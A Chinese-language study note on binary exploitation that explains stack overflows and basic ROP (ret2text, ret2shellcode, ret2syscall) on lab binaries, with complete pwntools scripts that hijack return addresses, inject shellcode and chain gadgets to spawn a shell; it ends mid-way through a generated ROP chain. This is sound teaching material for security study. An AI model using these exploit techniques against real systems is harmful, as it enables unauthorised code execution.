PWN学习笔记(二)

栈溢出原理介绍、ROP原理介绍。

ret2text、ret2shellcode、ret2syscall、ret2libc讲解。

本文附件地址(“栈溢出-01-栈溢出原理”、“栈溢出-02-Basic ROP”文件夹)。

一、栈溢出原理

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,.bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。

发生栈溢出的基本前提是:

  • 程序必须向栈上写入数据。
  • 写入的数据大小没有被良好地控制。

栈溢出基本示例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//example.c
//gcc -m32 -fno-stack-protector -no-pie -z execstack example.c -o example
//正常情况下程序始终不会执行success()函数
//我们的目的是通过栈溢出控制程序的执行流程,让程序能够执行succes()函数。

#include <stdio.h>
#include <string.h>

void success() { 
    puts("You Have already controlled it.");
}

void vulnerable() {
  char buffer[12];
  gets(buffer);
  puts(buffer);
  return;
}

int main(int argc, char **argv) {
  vulnerable();
  return 0;
}

编译程序example:

1
MRX@DEEPIN:~/Desktop$ gcc -m32 -fno-stack-protector -no-pie -z execstack example.c -o example

image-20250505211434315

可以看出在编译的时候提示 gets() 函数是一个危险函数。原因是 gets() 无边界检查, gets() 函数从不检查输入字符串的长度,而是以回车来判断输入是否结束,所以很容易因为输入的内容太多导致缓存区无法存储,进而导致栈溢出。

查看程序基本信息:

1
2
MRX@DEEPIN:~/Desktop$ file example
example: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=4f4fdf7d4af67ecde9858f9531c0722319826106, for GNU/Linux 3.2.0, not stripped

查看程序的保护机制:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
MRX@DEEPIN:~/Desktop$ checksec example
[*] '/home/MRX/Desktop/example'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No

使用IDA Pro分析程序,F5查看vulnerable()的伪C代码:

image-20250505204910884

可将IDA识别出的传给gets函数的缓存区变量s,直接重命名为buffer,这会使代码更容易理解。

这里存在 gets() 函数,将用户输入的数据存储到变量 buffer 中。

IDA Pro识别到的缓存区 buffer 的大小为 16 字节,但程序源码中我们定义的是 12 个字节的 buffer 大小,原因是?

这主要是由于编译器在生成汇编代码时进行了一些优化和对齐处理,下面我们来详细分析这个现象的原因。

对关键汇编代码进行分析:

1
2
3
4
.text:080491A1 000 push    ebp
.text:080491A2 004 mov     ebp, esp
.text:080491A4 004 push    ebx
.text:080491A5 008 sub     esp, 14h
指令 功能说明 栈变化 / 占用 EBP 相对偏移
push ebp 保存调用者的ebp,为当前函数建立新的栈帧。 esp = esp - 4 [ebp+0]
mov ebp, esp 将当前esp的值赋给ebp,设置新的基址指针。 无变化
push ebx 保存调用者的ebx寄存器的值,ebx是调用者保存寄存器。 esp = esp - 4 [ebp-4]
sub esp, 0x14 为局部变量分配 0x14 (20) 字节的栈空间(包含buffer)。 esp = esp - 0x14 [ebp-0x5]~[ebp-0x18]

其中,sub esp, 14h指令表示在栈上分配了 0x14 字节(即 20 字节)的空间。这部分空间用于存储函数的局部变量,包括 buffer[12] 和其他可能的临时变量或用于对齐的填充字节。

编译器在分配栈空间时,通常会考虑以下因素:

  • 栈对齐(Stack Alignment):为了提高内存访问效率,编译器会将栈帧的大小对齐到特定的边界(如 4 字节或 16 字节)。
  • 寄存器保存:在函数调用过程中,某些寄存器的值需要保存到栈上,以便函数返回时恢复。
  • 临时变量和中间计算结果:编译器可能会在栈上分配额外的空间,用于存储临时变量或中间计算结果。

因此,尽管buffer只需要 12 字节,编译器可能会分配更多的空间,以满足对齐要求和存储其他必要的数据。

进一步,我们可以通过前面讲到的看汇编代码和IDA静态栈视图画出大概的栈布局视图。

image-20250505185855289

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
高地址
--------------------------------------------------
[ebp+04h]    返回地址           ; return address
[ebp+00h]    调用者的 EBP       ; old ebp函数入口时 push ebp
[ebp-04h]    var_4              ; 保存的寄存器值 ebx
[ebp-05h]    padding byte
[ebp-06h]    padding byte
[ebp-07h]    padding byte
[ebp-08h]    padding byte
[ebp-09h]    buffer[11]
[ebp-0Ah]    buffer[10]
[ebp-0Bh]    buffer[9]
[ebp-0Ch]    buffer[8]
[ebp-0Dh]    buffer[7]
[ebp-0Eh]    buffer[6]
[ebp-0Fh]    buffer[5]
[ebp-10h]    buffer[4]
[ebp-11h]    buffer[3]
[ebp-12h]    buffer[2]
[ebp-13h]    buffer[1]
[ebp-14h]    buffer[0]          ; buffer[12] 总共 0x0C 字节
[ebp-15h]    padding byte
[ebp-16h]    padding byte
[ebp-17h]    padding byte
[ebp-18h]    padding byte
--------------------------------------------------
低地址 

可以看到,如果我们想控制程序的返回地址的话,就需要这样覆盖:

先使用 12 字节的数据完整填充 buffer 的空间;
再使用 4 字节的数据填充 padding byte 的空间;
再使用 4 字节的数据填充 var_4 变量占用的空间;
再使用 4 字节的数据填充"调用者的 EBP"占用的空间;
最后,再用 4 字节的改写"返回地址"即可。

需要注意的是,该程序未开启 Canary 保护,所以这里的变量 var_4 并不是 Canary 保护中的 canary 值,而是保存的寄存器 ebx 的值。

假设我们能够覆盖返回地址,并将返回地址设置为 success() 函数的汇编指令入口处,那么我们就可以成功的使程序输出:You have already controlled it.

通过IDA Pro反汇编视图,我们可以看到 success() 函数的汇编指令入口地址是:0x08049176。

image-20250505214522882

由于在计算机内存中,内存地址都是采用小端存储的,即 0x08049176 在内存中的形式是:

\x76\x91\x04\x08

我们需要将 0x08049176 按照小端法的形式传给程序。但是,我们无法直接在终端将这些字符输入进去,在终端中输入\或者x等都会被当做一个单独的字符来处理。此时,我们就需要使用 pwntools 中的 p32() 或者 p64() 函数来完成该操作。

p32():可以将整数转换为小端序32位地址格式。

p64():可以将整数转换为小端序64位地址格式。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
>>> from pwn import *
>>> p8(0x4)
b'\x04'
>>> p16(0x4)
b'\x04\x00'
>>> p32(0x4)
b'\x04\x00\x00\x00'                  #一个32位内存地址大小
>>> p64(0x4)
b'\x04\x00\x00\x00\x00\x00\x00\x00'  #一个64位内存地址大小
>>>
>>> target = 0x08049176
>>> p32(target)
b'v\x91\x04\x08'

完整的exp漏洞利用脚本:

1
2
3
4
5
6
7
8
from pwn import *

p = process('./example')
target = 0x08049176
payload = b'A' * 12 + b'XXXX' + b'XXXX' + b'XXXX' + p32(target)

p.sendline(payload)
p.interactive()

脚本运行结果:

image-20250505220351413

可以看到,我们已成功的修改了程序的返回地址,让程序能够执行 succes() 函数了。

这里我们还有几点需要说一下:

(1)确定填充长度:这一部分主要是计算我们所要操作的地址与我们所要覆盖的地址之间的距离。常见的操作方法就是打开 IDA,根据其给定的地址计算偏移。一般变量会有以下几种索引模式:

  • 相对于栈基地址(EBP)的索引,可以直接通过IDA查看EBP相对偏移获得。
  • 相对于栈顶指针(ESP)的索引,一般需要进行调试,之后再转换到第一种(EBP)的索引。
  • 直接地址索引,就相当于直接给定了地址。

(2)覆盖需求:之所以我们想要覆盖某个地址,是因为我们想通过覆盖地址的方法来直接或间接地控制程序执行流程。常见的几种覆盖需求:

  • 覆盖函数返回地址。
  • 覆盖栈上某个变量的内容。
  • 覆盖 .bss 段上某个变量的内容。
  • 覆盖特定的变量或地址的内容。

(3)寻找危险函数:通过寻找危险函数,我们快速确定程序是否可能有栈溢出,以及有的话,栈溢出的位置在哪里。常见的危险函数如下

  • 输入
    • gets,直接读取一行,忽略’\x00'
    • scanf
    • vscanf
  • 输出
    • sprintf
  • 字符串
    • strcpy,字符串复制,遇到’\x00’停止
    • strcat,字符串拼接,遇到’\x00’停止
    • bcopy

二、ROP原理

随着 NX (Non-eXecutable) 保护的开启,传统的直接向栈或者堆上直接注入代码的方式难以继续发挥效果,由此攻击者们也提出来相应的方法来绕过保护。

目前被广泛使用的攻击手法是 返回导向编程ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

gadgets 通常是以ret结尾的指令序列,通过这样的指令序列,我们可以多次劫持程序控制流,从而运行特定的指令序列,以完成攻击的目的。

返回导向编程这一名称的由来是因为其核心在于利用了指令集中的ret指令,从而改变了指令流的执行顺序,并通过数条 gadget “执行” 了一个新的程序。

ROP攻击一般需要满足以下条件:

  • 程序存在溢出,并且可以控制返回地址。
  • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。(如果 gadgets 每次的地址是不固定的,那我们就需要想办法动态获取对应的地址)

常见的ROP技术包括:

初级:ret2text、ret2shellcode、ret2syscall、ret2libc

中级:ret2csu、ret2reg、JOP、COP、BROP

高级:ret2dlresolve、ret2VDSO、SROP

三、初级ROP

1、ret2text

ret2text即控制程序执行程序本身已有的的代码(.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候同样也可以控制程序执行好几段不相邻的程序已有的代码(也就是 gadgets),这就是我们所要说的 ROP。

前面栈溢出原理介绍时用的程序攻击方式本质也是一种ret2text,本题目与之主要的区别在于:变量是相对于EBP的索引还是相对于ESP的索引,这里需要根据 ESP 的索引确定填充长度。

本题需要通过栈溢出获得系统Shell。

查看程序的保护机制:

1
2
3
4
5
6
7
8
9
MRX@DEEPIN:~/Desktop$ checksec ret2text
[*] '/home/MRX/Desktop/ret2text'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes

可以看出程序是 32 位程序,其仅仅开启了栈不可执行保护。

我们使用 IDA 反编译该程序。

image-20250505223711427

gets函数接收的变量s已重命名为buffer。

可以看到程序在 main() 函数中使用了 gets() 函数,这里显然存在栈溢出漏洞。

在 secure() 函数我们发现了存在调用 system("/bin/sh") 的代码,那么如果我们直接控制程序返回至 0x0804863A ,那么就可以得到系统的 Shell 了。

image-20250505224113185

下面就是我们如何构造 payload 了,首先需要确定的是我们能够控制的内存的起始地址距离 main() 函数的返回地址的距离。

image-20250505224411191

可以看到这里的 buffer 变量是通过相对于 esp 的索引进行使用的,并不像前面的那种直接使用 ebp 进行索引,所以我们需要进行动态调试。

IDA中默认将其表示为[esp+80h+buffer],这还不是传入到 gets() 函数的 buffer 首地址直接到 esp 的距离,我们需要在IDA的该位置右击转换才能看到直接的距离。

image-20250505231258680

image-20250505231404852

下面,我们通过GDB(gef插件)调试该程序。

1
2
3
gdb ./ret2text   //动态调试程序 ret2text
b *0x080486AE    //在 call _gets 处下断点
r                //继续执行

image-20250505230516162

这张图中有几个点我们是需要关注的:

(1)此时 esp 的地址:0xffffbad0

(2)此时 ebp 的地址:0xffffbb58

(3)动态调试中,传递给 gets() 函数的 buffer 变量在栈上的索引是 [esp+0x1c],也就是说 buffer 的首地址是此时的 esp + 0x1c。

那么,我们可以通过计算得到:

buffer 的首地址:0xffffbad0 + 0x1c = 0xffffbaec
buffer 的首地址相对于 ebp 的偏移为:0xffffbb58 - 0xffffbaec = 0x6c 

因为 ebp 地址高,局部变量都是基于 ebp 地址 sub xxx开辟出来的,所以我们在计算 buffer 的首地址相对于 ebp 的偏移时,直接使用 ebp 的地址减去 buffer 的首地址获得。

结合下IDA静态栈视图:

image-20250505231920949

我们已经有了 buffer 的首地址相对于 ebp 的偏移大小(0x6c),那么此时再填充 4 字节即可覆盖 saved_registers(saved old ebp),接着再填充任意的 4 字节内存地址去覆盖返回地址即可实现对程序流程的控制。填充示意图如下:

image-20250505233104349

因此,我们可以参考上图进行返回地址的覆盖,payload就可以写为:

payload = b'A' * 0x6c + b"XXXX" + "Return Address"

完整的exp1漏洞利用脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from pwn import *

p = process('./ret2text')

target = 0x0804863A

payload = b'A' * 0x6c + b"XXXX" +  p32(target)

p.sendline(payload)
p.interactive()

可以看到,我们已成功的修改了程序的返回地址,让程序完成了对system("/bin/sh")的调用,进而获得系统的 Shell 了。

image-20250505234106964

我们还可以使用gdb + cyclic的方法来计算 buffer 首地址覆盖到返回地址的偏移量。

cyclic是一种生成独特、无重复子串的模式(基于 De Bruijn 序列),用于在溢出时填充缓冲区。 当程序崩溃时,返回地址被覆盖为模式中的一部分。 通过在调试器中查看被覆盖的返回地址,我们可以精确地确定覆盖返回地址所需的偏移量。

此方法可参考该视频

(1)使用 cyclic 工具生成足够长度的字符串。

1
2
MRX@DEEPIN:~/Desktop$ cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

(2)GDB 运行目标程序,并在目标程序等待用户输入时输入 cyclic 生成的字符串。

1
2
3
4
gdb ./ret2text   //动态调试程序 ret2text
run              //运行程序
//程序运行后输出提示信息等待用户输入,此时输入 cyclic 生成的字符串。
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

此时程序会报错提示无效的内存地址,或者也可直接使用命令info registers eip/rip查看此时的报错内存地址。

image-20250506000640462

(3)使用 cyclic 工具来确定偏移量:

1
2
MRX@DEEPIN:~/Desktop$ cyclic -l 0x62616164
112

这里得到的 112 字节就是 buffer 首地址覆盖到返回地址的偏移量。

完整的exp2漏洞利用脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from pwn import *

p = process('./ret2text')

target = 0x0804863A

payload = b'A' * 112 + p32(target)

p.sendline(payload)
p.interactive()

可以看到,我们也成功的修改了程序的返回地址,让程序完成了对system("/bin/sh")的调用,进而获得系统的 Shell 了。

image-20250506001139665

2、ret2shellcode

ret2shellcode即控制程序去执行 ShellCode 代码。ShellCode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 Shell。一般来说,ShellCode 需要我们自己填充,即此时我们需要自己去填充一些可执行的代码。

在栈溢出的基础上,要想执行 ShellCode,需要对应的程序在运行时,ShellCode 所在的区域具有可执行权限。

需要注意的是,在新版 Linux 内核当中引入了较为激进的保护策略,程序中通常不再默认有同时具有可写与可执行的段,这使得传统的 ret2shellcode 手法不再能直接完成利用。本程序漏洞代码利用应当在内核版本较老的环境中进行实验(如 Ubuntu 18.04 或更老版本)。由于容器环境间共享同一内核,因此这里我们无法通过 docker 完成环境搭建。示例环境为 Ubuntu18.04 虚拟机中完成。

查看程序的保护机制:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
mrx@Ubuntu:~/Desktop$ checksec ret2shellcode
[*] '/home/MRX/Desktop/ret2shellcode'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
    Debuginfo:  Yes

可以看到程序几乎没有开启任何保护。未开启NX保护,也就意味着程序可以在数据所在内存页上被执行;同时程序中有可读,可写,可执行段(Has RWX segments)。

对程序进行反编译:

image-20250506011156685

可以看出,程序仍然是基本的栈溢出漏洞。

如果想获得系统 Shell 的话,和前面的题目一样,先通过栈溢出覆盖到返回地址,然后返回地址修改为调用system('/bin/sh')函数的地址处即可。不过当前程序中没有找到直接调用 system() 函数去执行/bin/sh调用的位置,所以只能考虑别的方法获取 Shell。

在代码中我们可以看到,执行完 gets() 函数后,程序将用户输入的字符串通过 strncpy() 函数复制了一份大小为 0x64 字节的数据到了 buf2 变量处。

在IDA视图中,双击查看变量buf2可知,buf2在 .bss 段。

image-20250506011553896

.bss 段(Block Started by Symbol Segment)通常是指用来存放程序中未初始化的全局变量和静态变量的一块内存区域;.bss 段具有可读写权限。

.bss 段具有以下特点:

  • 存储内容:包括未显式初始化的全局变量和静态变量。
  • 初始化行为:在程序启动时,操作系统或运行时环境会将 .bss 段中的所有字节清零,确保变量具有确定的初始值。
  • 文件大小优化:.bss 段在可执行文件中不占用实际空间,仅记录所需的内存大小,从而减小文件体积。
  • 与.data段的区别:显式初始化为非零值的全局或静态变量存储在 .data 段中,该段在可执行文件中包含实际的初始值数据。

通过GDB(gef插件)调试,我们可以查看 buf2 变量所在的 .bss 段是否有可执行权限。(linux kernel 5.x以上这里可能会没有执行权限)

在 main() 函数处下断点,然后运行程序。

gdb ./ret2shellcode 
b main
run

image-20250506014311227

使用 vmmap 命令查看此时内存段的读写状态:

image-20250506014454201

可以看到 buf2 所在的 .bss 段(0x0804a040 ~ 0x0804a080) 是存在读写执行权限的。

在PIE保护没有开启的情况下,.bss 段的地址是固定的。所以,我们可以将自己构建的 ShellCode 写入 .bss 段,然后跳转过去执行就可以获得 Shell 了。

我们可以先通过 gets() 函数读取写好的 ShellCode 代码到 buffer 变量中,然后程序会自动执行 strncpy() 函数将 buffer 变量中的前 0x64 字节写入到 .bss 段所在的 buf2 变量处。然后通过常规的栈溢出操作,覆盖返回地址控制程序去执行 .bss 段处的 ShellCode 即可。

通过IDA反编译程序,可以看到传入 gets() 函数的 buffer 变量也是通过 esp 进行的索引的。所以,我们需要将其转为 ebp 索引的形式才可以构建 payload 进行填充。

image-20250506015326584

这里我们直接使用 cyclic 来确定 buffer 首地址覆盖到返回地址的偏移量。

(1)使用 cyclic 工具生成足够长度的字符串。

1
2
mrx@Ubuntu18:~/Desktop$ cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

(2)GDB 运行目标程序,并在目标程序等待用户输入时输入 cyclic 生成的字符串。

1
2
3
4
gdb ./ret2shellcode   //动态调试程序 ret2shellcode
r                     //运行程序
//程序运行后输出提示信息等待用户输入,此时输入 cyclic 生成的字符串。
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

此时程序会报错提示无效的内存地址,或者也可直接使用命令info registers eip/rip查看此时的报错内存地址。

image-20250511193737263

(3)使用 cyclic 工具来确定偏移量:

1
2
mrx@Ubuntu18:~/Desktop$ cyclic -l 0x62616164
112

这里得到的 112 字节就是 buffer 首地址覆盖到返回地址的偏移量。

完整的exp漏洞利用脚本:

1
2
3
4
5
6
7
8
from pwn import *

p = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

p.sendline(shellcode.ljust(112, b'A') + p32(buf2_addr))
p.interactive()

ljust()函数:将左对齐字符串到指定的大小,可使用指定的填充字符。shellcode.ljust(112, b'A') 表示如果 ShellCode 小于 112 字节,就在右侧用填充字符A补齐;

问题:exp脚本中指向的新的返回地址为什么是 buf2 的首地址,而不是直接使用 gets() 函数传入时用的 buffer 变量的首地址呢?buffer 变量中也包含我们写入的 ShellCode 呀?

答:因为 buffer 变量位于栈上,其地址在每次程序运行时都会发生变化,具有不确定性,我们无法在 exp 脚本中写死一个固定的地址跳转到它的位置。相比之下,buf2 是一个全局变量,位于 .bss 段中,地址固定、稳定,便于我们在脚本中构造准确的跳转目标;同时,buf2 中包含了我们通过 strncpy() 复制过去的 ShellCode,且 buf2 所在的 .bss 段在程序中具备读写执行权限,所以这里覆盖后的新返回地址设置为了 buf2 的首地址。

填充示意图如下:

image-20250506022659064

可以看到,我们已成功的修改了程序的返回地址,让程序执行了我们的 ShellCode,获得了系统的 Shell。

image-20250506024649351

3、ret2syscall

ret2syscall即控制程序执行系统调用,获取 Shell。

查看程序的保护机制:

1
2
3
4
5
6
7
8
9
MRX@DEEPIN:~/Desktop$ checksec rop
[*] '/home/MRX/Desktop/rop'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes

程序开启了NX堆栈不可执行保护,因此我们无法直接向数据段写入 ShellCode,然后通过在数据段执行 ShellCode 的方式获得 Shell 了。

使用IDA对程序进行反编译:

image-20250506163134336

可以看出程序依然存在 gets() 危险函数,会导致栈溢出漏洞发生。

同样,可以看到传入 gets() 函数的 buffer 变量是通过 ESP 进行的索引的。所以,我们需要将其转为 EBP 索引的形式才可以构建 payload 进行填充。

image-20250506163659443

这里同样直接使用 cyclic 来确定 buffer 首地址覆盖到返回地址的偏移量。

(1)使用 cyclic 工具生成足够长度的字符串。

1
2
MRX@DEEPIN:~/Desktop$ cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

(2)GDB 运行目标程序,并在目标程序等待用户输入时输入 cyclic 生成的字符串。

1
2
3
4
gdb ./rop   //动态调试程序 rop
r           //运行程序
//程序运行后输出提示信息等待用户输入,此时输入 cyclic 生成的字符串。
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

此时程序会报错提示无效的内存地址,或者也可直接使用命令info registers eip/rip查看此时的报错内存地址。

image-20250506164004300

(3)使用 cyclic 工具来确定偏移量:

1
2
MRX@DEEPIN:~/Desktop$ cyclic -l 0x62616164
112

这里得到的 112 字节就是 buffer 首地址覆盖到返回地址的偏移量。

所以,这里可以先写出栈溢出的填充部分。

payload = b'A' * 112  + 返回地址

填充示意图:

image-20250506164931841

因为程序中没有预留system("/bin/sh")。所以,我们无法和题目 ret2text 中一样直接修改返回地址到调用system("/bin/sh")的位置来获得 Shell。

因为程序开启了NX保护。所以,我们也无法像 ret2shellcode 中一样向程序的数据段写入 ShellCode,然后跳转过去执行获得Shell。

因为我们不能直接利用程序中的某一个 system() 函数代码或者自己编写的 ShellCode 代码来获得系统Shell,所以这里我们尝试利用程序中的 gadgets 拼接完成系统调用来获得系统 Shell。

系统调用(System Call),指运行在用户空间的程序向操作系统内核请求需要更高权限运行的服务。系统调用提供用户程序与操作系统之间的接口。大多数系统交互式操作需求在内核态执行。如设备IO操作或者进程间通信。

系统调用和普通库函数调用非常相似,只是系统调用由操作系统内核提供,运行于内核核心态,而普通的库函数调用由函数库或用户自己提供,运行于用户态。

Linux在x86系统上的系统调用通过 int 0x80 中断实现,用系统调用号来区分入口函数。

应用程序完成系统调用的基本过程是:
(1)把系统调用编号存入EAX寄存器(例如,0xb为execve对应的系统调用编号)。
(2)把函数参数存入其它通用寄存器。
(3)触发 0x80 号中断(int 0x80)。

简单地说,只要我们先把对应着获取系统 Shell 的系统调用参数存放到对应的寄存器中,然后再执行int 0x80中断指令,就可以执行对应的系统调用从而拿到系统 Shell。比如说这里我们利用 execve 系统调用来获取系统 Shell:

  • 系统调用号,将 eax 设置为 0xb。
  • 第一个参数,即 ebx 应该指向字符串/bin/sh的地址。
  • 第二个参数,即 ecx 应该设置为 0。
  • 第三个参数,即 edx 应该设置为 0。
  • 调用int 0x80中断指令。

但是我们该如何控制填充到这些寄存器中的值呢?

这里就需要使用 gadgets。比如说,现在栈顶处的值是10,如果此时执行了 pop eax,那么 eax 寄存器的值就会被设置为10。

但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段的控制,这也是我们为什么在使用 gadgets 后再使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ROPgadget 这个工具。

我们使用下面的 ROPgadget 指令在 rop 二进制文件中查找包含popret指令,并涉及eax寄存器的 ROP gadget。

1
MRX@DEEPIN:~/Desktop$ ROPgadget --binary rop --only 'pop|ret' | grep 'eax'

image-20250506172712174

可以看到有上述几个都可以控制 eax 的的值,这里选取第二个来作为 gadgets。

0x080bb196 : pop eax ; ret

类似的,我们可以得到控制其它寄存器的 gadgets。

1
MRX@DEEPIN:~/Desktop$ ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'

image-20250506172904304

这里,我们选择下面这个,它可以直接一次性控制 ebx、ecx 和 edx。

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

此外,我们还需要在程序中检索出/bin/sh字符串对应的地址。

1
MRX@DEEPIN:~/Desktop$ ROPgadget --binary rop --string "/bin/sh"

image-20250507160552335

0x080be408 : /bin/sh

问题1:我们要为什么在程序中寻找字符串/bin/sh呢?为什么不直接传递给程序/bin/sh字符串?

答:如果直接传入/bin/sh字符串,它通常会被放在栈上,程序可能因为NX保护无法跳转执行或被拒绝访问,且我们传入的字符串通常存于栈上,地址不固定或不可预测,每次运行可能都变,难以构造可靠 ROP。而程序已有的/bin/sh字符串(通常在 .data 或 .bss 段)地址是确定且可执行的环境变量或常量内存地址,更稳定可靠。如果程序中不存在/bin/sh字符串的话,我们一般会考虑向程序中的 .bss 段写入/bin/sh字符串,后面在 ret2libc 示例中会演示该方法。

最后,我们还需要找到int 0x80指令在程序中对应的地址。

1
MRX@DEEPIN:~/Desktop$ ROPgadget --binary rop --only 'int'

image-20250507154800204

0x08049421 : int 0x80
0x080890b5 : int 0xcf

完整的exp1漏洞利用脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from pwn import *

p = process('./rop')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
str_bin_sh = 0x080be408
int_0x80 = 0x08049421

rop = p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(str_bin_sh) + p32(int_0x80)

payload = 112 * b'A' + rop

p.sendline(payload)
p.interactive()

填充示意图:

image-20250508155830956

问题2:为什么传入的 0xb 和 0 为什么一定要 p32() 一下呢?

因为直接传入的 0xb 和 0 是整数类型。但我们要构造的是字节流,用于覆盖栈空间。栈上的返回地址和参数是以小端格式的 4 字节数据存在的;所以我们需要使用 p32(0xb) 把十六进制 0xb 转成小端序的字节:b'\x0b\x00\x00\x00',然后才能实现栈空间的覆盖。

可以看到,我们已成功的修改了程序的返回地址,让程序执行了我们的构造的ROP链,获得了系统的 Shell。

image-20250508160606783

这里需要再介绍一个函数 flat(),flat()函数是 pwntools 提供的一个非常方便的工具,常用于构建 ROP 链、格式化字符串攻击、栈溢出等场景。它可以自动处理字符串和地址之间的转换,简化了使用 p32() 的过程。

flat() 函数特点:

  • 自动打包整数为小端法字节流(相当于自动执行 p32() 或 p64() );
  • 自动拼接字符串和字节;
  • 支持嵌套结构(列表、元组);
  • 返回值是bytes类型,直接可用于 send(), sendline() 等函数。

完整的exp2漏洞利用脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from pwn import *

p = process('./rop')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
str_bin_sh = 0x080be408
int_0x80 = 0x08049421

rop = flat([pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, str_bin_sh, int_0x80])

payload = 112 * b'A' + rop

p.sendline(payload)
p.interactive()

参数按顺序以 list[] 列表的形式打包传递给 flat() 函数。

脚本运行结果:

image-20250508165542094

前面我们说的是手动构造 ROP 链的一种方式,这里介绍下使用工具 ROPgadget 直接生成 ROP 链的方法。

命令如下:

1
MRX@DEEPIN:~/Desktop$ ROPgadget --binary rop --ropchain

直接通过 ROPgadget 生成 ROP 链,然后让程序跳转到 ROP 链执行,就可以获得系统 Shell。

复制生成的- Step 5 -- Build the ROP chain步骤生成的 Python 代码。

image-20250509182729085

完整的exp3漏洞利用脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
from struct import pack

io = process('./rop')

p = b''

p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bb196) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bb196) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054590) # xor eax, eax ; ret
p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
